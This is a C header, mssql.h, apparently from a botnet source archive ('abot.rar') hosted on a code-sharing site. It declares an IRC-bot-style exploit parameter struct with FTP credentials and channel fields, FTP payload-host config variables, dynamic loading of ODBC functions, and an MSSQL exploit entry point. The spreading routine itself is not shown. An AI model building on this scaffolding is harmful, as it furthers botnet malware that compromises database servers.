www.pudn.com > abot.rar > mssql.h, change:2007-05-20,size:2144b


#include <windows.h> 
#include <stdio.h> 
#include <string.h> 
#include <time.h> 
#include <stdlib.h> 
#include <Winsvc.h> 
//#include <tlhelp32.h> 
//#include <tchar.h> 
#include <shlobj.h> 
#include <shellapi.h> 
#include <sqlext.h> 
/*typedef struct 
{ 
	unsigned long	ip; 
	char			ip_char[16]; 
	char			myip[16]; 
	unsigned short	port; 
	unsigned short	ftp_port; 
	char			ftp_user[32]; 
	char			ftp_pass[32]; 
	SOCKET			ircsock; 
	char			channel[128]; 
	int				cftp; 
} exparam_s;*/ 
extern char			cfg_cftp_host[128]; 
extern int			cfg_cftp_port; 
extern char			cfg_cftp_user[32]; 
extern char			cfg_cftp_pass[32]; 
extern char			cfg_cftp_file[32]; 
BOOL noodbc32 = FALSE; 
DWORD noodbc32err = 0; 
typedef SQLRETURN (__stdcall *SQLDC)(SQLHDBC,SQLHWND,SQLCHAR *,SQLSMALLINT,SQLCHAR *,SQLSMALLINT,SQLSMALLINT *,SQLUSMALLINT); 
typedef SQLRETURN (__stdcall *SQLSEA)(SQLHENV,SQLINTEGER,SQLPOINTER,SQLINTEGER); 
typedef SQLRETURN (__stdcall *SQLED)(SQLHSTMT,SQLCHAR *,SQLINTEGER); 
typedef SQLRETURN (__stdcall *SQLAH)(SQLSMALLINT,SQLHANDLE,SQLHANDLE *); 
typedef SQLRETURN (__stdcall *SQLFH)(SQLSMALLINT,SQLHANDLE); 
typedef SQLRETURN (__stdcall *SQLD)(SQLHDBC); 
SQLDC fSQLDriverConnect; 
SQLSEA fSQLSetEnvAttr; 
SQLED fSQLExecDirect; 
SQLAH fSQLAllocHandle; 
SQLFH fSQLFreeHandle; 
SQLD fSQLDisconnect; 
BOOL LoadDLLs(void)  
{ 
	HMODULE odbc32_dll = LoadLibrary("odbc32.dll"); 
    if (odbc32_dll) { 
	 	fSQLDriverConnect = (SQLDC)GetProcAddress(odbc32_dll,"SQLDriverConnect"); 
	 	fSQLSetEnvAttr = (SQLSEA)GetProcAddress(odbc32_dll,"SQLSetEnvAttr"); 
	 	fSQLExecDirect = (SQLED)GetProcAddress(odbc32_dll,"SQLExecDirect"); 
	 	fSQLAllocHandle = (SQLAH)GetProcAddress(odbc32_dll,"SQLAllocHandle"); 
	 	fSQLFreeHandle = (SQLFH)GetProcAddress(odbc32_dll,"SQLFreeHandle"); 
	 	fSQLDisconnect = (SQLD)GetProcAddress(odbc32_dll,"SQLDisconnect"); 
  
		if (!fSQLDriverConnect || !fSQLSetEnvAttr || !fSQLExecDirect 
			|| !fSQLAllocHandle || !fSQLFreeHandle || !fSQLDisconnect) 
	        noodbc32 = TRUE; 
	} else { 
		noodbc32err = GetLastError(); 
		noodbc32 = TRUE; 
	} 
	return true; 
	} 
#ifndef NO_MSSQL 
void MSSQL(exparam_s exparam); 
#endif